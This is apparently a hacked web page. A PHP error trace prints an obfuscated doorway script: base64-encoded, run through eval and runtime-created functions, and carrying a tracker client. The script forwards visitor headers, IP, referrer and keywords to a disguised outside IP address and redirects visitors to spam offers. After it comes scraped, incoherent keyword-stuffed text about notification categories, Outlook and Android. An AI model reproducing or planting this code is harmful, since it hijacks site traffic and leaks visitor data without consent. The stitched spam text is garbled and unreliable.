dDcmVhdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOw0KDQogICAgICAgICAgICBoZWFkZXIoJHByb3RvY29sIC4gJyAnIC4gJGNvZGUgLiAnICcgLiAkdGV4dCk7DQoNCiAgICAgICAgICAgICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA9ICRjb2RlOw0KDQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICRjb2RlID0gKGlzc2V0KCRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSkgPyAkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10gOiAyMDApOw0KDQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvZGU7DQoNCiAgICB9DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRhbGxoZWFkZXJzJykpDQp7DQogICAgZnVuY3Rpb24gZ2V0YWxsaGVhZGVycygpDQogICAgew0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRuYW1lID0+ICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHN1YnN0cigkbmFtZSwgMCwgNSkgPT0gJ0hUVFBfJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tzdHJfcmVwbGFjZSgnICcsICctJywgdWN3b3JkcyhzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCdfJywgJyAnLCBzdWJzdHIoJG5hbWUsIDUpKSkpKV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCn0JDQokaGlkZCA9IHNxcnQoMjIyMDEpOw0KJGtleXNfZmlsZV9zb3VyY2VfZW5jID0gZmlsZV9nZXRfY29udGVudHMoJHR4dF9maWxlbmFtZS4iLnR4dCIpOw0KJGtleXNfZmlsZV9zb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRrZXlzX2ZpbGVfc291cmNlX2VuYyk7DQokYXJyX2Zyb21fZmlsZSA9IGV4cGxvZGUoIlxuIiwgJGtleXNfZmlsZV9zb3VyY2UpOw0KJG1hdGNoaW5nX2FyciA9IGFycmF5KCk7DQpmb3JlYWNoICgkYXJyX2Zyb21fZmlsZSBhcyAkbGluZSl7DQoJJHRtcF9hcnIgPSBleHBsb2RlKCI7IiwgJGxpbmUpOw0KCSRtYXRjaGluZ19hcnJbJHRtcF9hcnJbMF1dWydrZXl3b3JkJ10gPSB0cmltKCR0bXBfYXJyWzFdKTsNCgkkbWF0Y2hpbmdfYXJyWyR0bXBfYXJyWzBdXVsncGF0aCddID0gdHJpbSgkdG1wX2FyclsyXSk7DQp9DQoka2V5d29yZCA9ICRtYXRjaGluZ19hcnJbJG15Zm5hbWVdWydrZXl3b3JkJ107DQokdHh0X3BhdGggPSAkbWF0Y2hpbmdfYXJyWyRteWZuYW1lXVsncGF0aCddOw0KJGRvb3JfZG9tYWluID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGRvb3JfZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KDQppZigka2V5d29yZCl7DQoJJGNsaWVudCA9IG5ldyBLQ2xpY2tDbGllbnQoJ2h0dHA6Ly8nLiRoaWRkLicuMjAyLjY1LjE0Mi9hcGkucGhwPycsICRteV9jYW1wX0lEKTsNCgkkY2xpZW50LT5zZW5kQWxsUGFyYW1zKCk7IA0KCSRjbGllbnQtPmZvcmNlUmVkaXJlY3RPZmZlcigpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMScsIHVybGVuY29kZSgkZG9vcl9kb21haW4pKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzInLCB1cmxlbmNvZGUoJGRvb3JfZmlsZSkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMycsIHVybGVuY29kZSgkZG9vcl90cGwpKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzQnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNScsIHVybGVuY29kZSgkcGFja19uYW1lKSk7DQoJJGNsaWVudC0+cGFyYW0oJ3N1Yl9pZF82JywgdXJsZW5jb2RlKCR0eHRfcGF0aCkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNycsIHVybGVuY29kZSgkbXlmbmFtZSkpOw0KCSRjbGllbnQtPmtleXdvcmQodXJsZW5jb2RlKCRrZXl3b3JkKSk7DQoJJGNsaWVudC0+Y3VycmVudFBhZ2VBc1JlZmVycmVyKCk7DQoJaWYoJGNsaWVudC0+Z2V0Qm9keSgpPT0iIil7DQoJCSRjbGllbnQtPmV4ZWN1dGVBbmRCcmVhaygpOw0KCX0NCgllbHNlew0KCQkkY29udGVudF9ib2R5ID0gcHJlZ19yZXBsYWNlKCd8PGJhc2UgaHJlZj0iKC4qPykiPnwnLCcnLCRjbGllbnQtPmdldEJvZHkoKSk7DQoJCWVjaG8gJGNvbnRlbnRfYm9keTsNCg0KCX0NCn0NCmVsc2V7DQoJaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQoJZWNobyAnDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU4iPg0KPGh0bWw+PGhlYWQ+DQo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+DQo8L2hlYWQ+PGJvZHk+DQo8aDE+Tm90IEZvdW5kPC9oMT4NCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIC8nLiRteWZuYW1lLicgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+DQo8L2JvZHk+PC9odG1sPg0KCSc7DQoJZGllKCk7DQp9DQoNCg=='; $______=$____($______); $___=$____($___); $_____=$___('$___',$______); $_____($____($___________));' ).../bqpj.php(143) : runtime-created function:1
40.0014531008__lambda_func( ).../bqpj.php(143) : runtime-created function(1) : eval()'d code:305
50.0025666376eval( ' $door_tpl = "auto_2207_1"; $my_camp_ID = "WbcGLm7bMyGtf241"; $pack_name = "2307_precached_NOSLASH"; $txt_filename = "bqpj"; $my_get_arr = array_values($_GET); $myfname = $my_get_arr[0]; class KClickClient { const SESSION_SUB_ID = 'sub_id'; const SESSION_LANDING_TOKEN = 'landing_token'; /** @version 3.5 **/ const VERSION = 3; const STATE_SESSION_KEY = 'keitaro_state'; const STATE_SESSION_EXPIRES_KEY = 'keitaro_state_expires'; const DEFAULT_TTL = 1; /** * @var KHttpClient */ private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array('api_key', 'token', 'language', 'ua', 'ip', 'referrer', 'force_redirect_offer'); private $_result; private $_stateRestored; const ERROR = '[KTrafficClient] Something is wrong. Enable debug mode to see the reason.'; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param('info', 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null; $this->setHttpClient(new KHttpClient()); $this->ip($this->_findIp()) ->ua(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null) ->language((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '')) ->seReferrer($referrer) ->referrer($referrer) ->param('original_headers', getallheaders()) ->param('original_host', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') ->param('kversion', '3.4'); if ($this->isPrefetchDetected()) { $this->param('prefetch', 1); } } public function currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params['se_referrer'] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params['referrer'] = $referrer; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($name) { $this->_trackerUrl = $name; } // @deprecated public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params['token'] = $campaignToken; return $this; } public function version($version) { $this->_params['version'] = $version; return $this; } public function ua($ua) { $this->_params['ua'] = $ua; return $this; } public function language($language) { $this->_params['language'] = $language; return $this; } public function keyword($keyword) { $this->_params['keyword'] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params['force_redirect_offer'] = 1; } public function ip($ip) { $this->_params['ip'] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, 'utm_')) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION['token'] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No sub_id is defined'); return 'no_subid'; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No landing token is defined'); return 'no_token'; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored()) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log('State expired'); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log('State restored'); } } } public function restoreFromQuery() { if (isset($_GET['_subid'])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET['_subid']; $this->log('SubId loaded from query'); if (isset($_GET['_token'])) { $this->_result->info->token = $_GET['_token']; $this->log('Landing token loaded from query'); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array('HTTP_X_PURPOSE' => 'preview', 'HTTP_X_MOZ' => 'prefetch', 'HTTP_X_FB_HTTP_ENGINE' => 'Liger'); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), '/', $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log('Request: ' . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log('Response: ' . $result); } catch (KTrafficClientError $e) { if ($this->_debug) { throw $e; } else { return self::ERROR; } } $this->_result = json_decode($result); $this->_storeState( $this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null ); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies , $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $content = $this->getContent(); if ($print) { $headers = $this->sendHeaders(); echo $content; } else { return $content; } if ($break && (!empty($content) || $this->checkHeaders($headers))) { exit; } } public function checkHeaders($headers) { if (empty($headers)) { return; } foreach ($headers as $header) { if (strpos($header, 'Location:') === 0) { return true; } if ($header == 'HTTP/1.1 404 Not Found') { return true; } } return false; } public function getContent() { $result = $this->performRequest(); $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, 'image') || strstr($result->contentType, 'application/pdf'))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } public function showLog($separator = '
') { echo '
' . implode($separator, $this->getLog()). '
'; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function executeAndBreak() { $this->execute(true); } public function getParams() { return $this->_params; } private function _storeState($result, $ttl) { $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + ($ttl * 60 * 60); // for back-compatibility purpose if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function sendHeaders() { $result = $this->performRequest(); $headers = array(); $file = ""; $line = ""; if (headers_sent($file, $line)) { $msg = "Body output already started"; if (!empty($file)) { $msg .= "({$file}:{$line})"; } $this->log($msg); } if (!empty($result->headers)) { foreach ($result->headers as $header) { $headers[] = $header; if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { http_response_code($result->status); } if (!empty($result->contentType)) { $header = 'Content-Type: ' . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } return $headers; } // @deprecated public function updateHeaders() { $this->sendHeaders(); } public function getOffer($params = array(), $fallback = 'no_offer') { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log('Campaign hasn\'t returned offer'); return $fallback; } $params['_lp'] = 1; $params['_token'] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = 'campaign') { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->$level) ? $result->info->uniqueness->$level : false; } } // @deprecated public function forceChooseOffer() { throw new \Error('forceChooseOffer was removed in KClickClient v3.'); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $request = parse_url($this->_trackerUrl); $lastChar = substr($request['path'], -1); if ($lastChar != '/' && $lastChar != '\\') { $path = str_replace(basename($request['path']), '', $request['path']); } else { $path = $request['path']; } $path = ltrim($path, "\\\/"); $params = http_build_query($params); return "{$request['scheme']}://{$request['host']}/{$path}?{$params}"; } private function _getCurrentPage() { if ((isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || !empty($_SERVER['HTTPS'])) { $scheme = 'https'; } else { $scheme = 'http'; } return $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } private function _buildRequestUrl() { $request = parse_url($this->_trackerUrl); $url = "{$request['scheme']}://{$request['host']}"; if (isset($request['port'])) { $url = ':' . $request['port']; } $url .= "/{$request['path']}"; return $url; } private function _findIp() { $ip = null; $headers = array( 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode(',', $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER['HTTP_HOST']) && substr_count($_SERVER['HTTP_HOST'], '.') < 3) { $host = '.' . str_replace('www.', '', $_SERVER['HTTP_HOST']); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["HTTP_COOKIE"])) { $opts['cookies'] = preg_replace('/PHPSESSID=.*?;/si', '', $_SERVER["HTTP_COOKIE"]); } return $opts; } } class KHttpClient { const UA = 'KHttpClient'; public function request($url, $params, $opts = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts['cookies']) ? $opts['cookies'] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); $result = curl_exec($ch); if (curl_error($ch)) { throw new KTrafficClientError(curl_error($ch)); } if (empty($result)) { throw new KTrafficClientError('Empty response'); } return $result; } } class KTrafficClientError extends \Exception {} if (!function_exists('http_response_code')) { function http_response_code($code = NULL) { if ($code !== NULL) { switch ($code) { case 100: $text = 'Continue'; break; case 101: $text = 'Switching Protocols'; break; case 200: $text = 'OK'; break; case 201: $text = 'Created'; break; case 202: $text = 'Accepted'; break; case 203: $text = 'Non-Authoritative Information'; break; case 204: $text = 'No Content'; break; case 205: $text = 'Reset Content'; break; case 206: $text = 'Partial Content'; break; case 300: $text = 'Multiple Choices'; break; case 301: $text = 'Moved Permanently'; break; case 302: $text = 'Moved Temporarily'; break; case 303: $text = 'See Other'; break; case 304: $text = 'Not Modified'; break; case 305: $text = 'Use Proxy'; break; case 400: $text = 'Bad Request'; break; case 401: $text = 'Unauthorized'; break; case 402: $text = 'Payment Required'; break; case 403: $text = 'Forbidden'; break; case 404: $text = 'Not Found'; break; case 405: $text = 'Method Not Allowed'; break; case 406: $text = 'Not Acceptable'; break; case 407: $text = 'Proxy Authentication Required'; break; case 408: $text = 'Request Time-out'; break; case 409: $text = 'Conflict'; break; case 410: $text = 'Gone'; break; case 411: $text = 'Length Required'; break; case 412: $text = 'Precondition Failed'; break; case 413: $text = 'Request Entity Too Large'; break; case 414: $text = 'Request-URI Too Large'; break; case 415: $text = 'Unsupported Media Type'; break; case 500: $text = 'Internal Server Error'; break; case 501: $text = 'Not Implemented'; break; case 502: $text = 'Bad Gateway'; break; case 503: $text = 'Service Unavailable'; break; case 504: $text = 'Gateway Time-out'; break; case 505: $text = 'HTTP Version not supported'; break; default: exit('Unknown http status code "' . htmlentities($code) . '"'); break; } $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'); header($protocol . ' ' . $code . ' ' . $text); $GLOBALS['http_response_code'] = $code; } else { $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200); } return $code; } } if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } $hidd = sqrt(22201); $keys_file_source_enc = file_get_contents($txt_filename.".txt"); $keys_file_source = base64_decode($keys_file_source_enc); $arr_from_file = explode("\n", $keys_file_source); $matching_arr = array(); foreach ($arr_from_file as $line){ $tmp_arr = explode(";", $line); $matching_arr[$tmp_arr[0]]['keyword'] = trim($tmp_arr[1]); $matching_arr[$tmp_arr[0]]['path'] = trim($tmp_arr[2]); } $keyword = $matching_arr[$myfname]['keyword']; $txt_path = $matching_arr[$myfname]['path']; $door_domain = $_SERVER["HTTP_HOST"]; $door_file = $_SERVER['SCRIPT_NAME']; if($keyword){ $client = new KClickClient('http://'.$hidd.'.202.65.142/api.php?', $my_camp_ID); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param('sub_id_1', urlencode($door_domain)); $client->param('sub_id_2', urlencode($door_file)); $client->param('sub_id_3', urlencode($door_tpl)); $client->param('sub_id_4', $_SERVER['HTTP_REFERER']); $client->param('sub_id_5', urlencode($pack_name)); $client->param('sub_id_6', urlencode($txt_path)); $client->param('sub_id_7', urlencode($myfname)); $client->keyword(urlencode($keyword)); $client->currentPageAsReferrer(); if($client->getBody()==""){ $client->executeAndBreak(); } else{ $content_body = preg_replace('||','',$client->getBody()); echo $content_body; } } else{ http_response_code(404); echo ' 404 Not Found

Not Found

The requested URL /'.$myfname.' was not found on this server.

'; die(); } '
)
.../bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function:1
Notification Categories Deleted

Notification Categories Deleted

Tap next to On to turn them off. windows 10 In Windows 10 -settings - system - notifications & action- show notifications from these apps--- How can I remove apps from this list that have already been completely uninstalled?. You can turn off all notifications for a listed app. If four categories sounds too simplistic for your needs, you can set up a more detailed system. Note that you won't be able to edit a Pin website unless you created the Pin. Select Allow notifications from the pop-up that appears at the top of the page. The notification includes your name and the date and time the post was deleted. This is a workaround and may encounter limitations caused by the selected messaging app or even the Android OS: 1) Text messages are recovered by your notifications, therefore, if you have put a chat on silence, or if you are currently watching a message on the messaging app before it's deleted you will not receive a notification so WAMR can't. Getting Started. How to Recover Deleted Notifications on your Android Phone Step 1. I meant to delete just one event of a recurring event in my calendar but I accidentally deleted the entire series of event. Based on parameters such as category and location, SysAid User Manual Release 7. A notification is required when your app is running a "foreground service"—a Service running in the background that's long living and noticeable to the user, such as a media player. It is now a valuable resource for people who want to make the most of their mobile devices, from customizing the look and feel to adding new functionality. Note: The user interface refers to notification channels as "categories. For the sound notification, see our post Turn Mail Notification Sound On/Off in Outlook 2016. This is a workaround and may encounter limitations caused by the selected messaging app or even the Android OS: 1) Text messages are recovered by your notifications, therefore, if you have put a chat on silence, or if you are currently watching a message on the messaging app before it's deleted you will not receive a notification so WAMR can't. This page sums up a few things I've learned about Outlook categories and color categories, with suggestions for using and managing categories along with troubleshooting tips. You can also search near a city, place, or address instead. Users who have been shared a calendar with will receive an email notification. Based on parameters such as category and location, SysAid User Manual Release 7. User Status: Apart from having System status, SAP has given the option of using User Statuses for all the documents. Delete any unnecessary apps or data on your device. Exploring Android O: Notification Channels The notification categories that exist for our application. USAJOBS is the Federal Government's official one-stop source for Federal jobs and employment information. Example: rgb(128,245,211) or #fafafa. What are Categories? Categories let you distinguish what type of notification you are sending to a user, and give users per-category control over how they are notified. I meant to delete just one event of a recurring event in my calendar but I accidentally deleted the entire series of event. website can attack all famous …. This vicious malware infection can brutally mess with your system and infect your working performance. Restart your device. tools pop ups. Delivery of the notifications via e-mail or SMS Extended Notifications for SAP Business Workflow is intended to inform users about work items that need to be processed. Now you can easily add sound alert to your Outlook when received NEW mails. Using Grindr Using Grindr. How to Control the Categories of Notifications of Android 8. Each item will be marked with an icon that identifies what type of item it is - except for folders: if you want to recover a deleted folder, see the Finding Deleted Folders section further below. Turn on Sound Notification in Outlook when New Message Received. Some I want to keep, but most I want to delete, except that I have no idea how to get rid of any of them. Fix 1: Outlook Setting. Welcome to My Activity. You can turn off all notifications for a listed app. This video is to show how to fix no notification alerts from Messaging app on Samsung Galaxy S8, S8 Plus, Note 8, S9, and S9 Plus. (iOS notifications can appear as pop-up messages or banners, displayed in the notification center and lock screen. Now select widget option there and then swipe to left until you find " Settings " widgets. Be careful if the combo's RowSource contains criteria. you simply pass the id for the channel which you wish to delete and it will be. Manage your apps and save memory space on your phone or tablet. Tap Notification Settings. About: internet lock, computer network, message, web page link, cloud server, delete account, download file, bad. ZenDMD 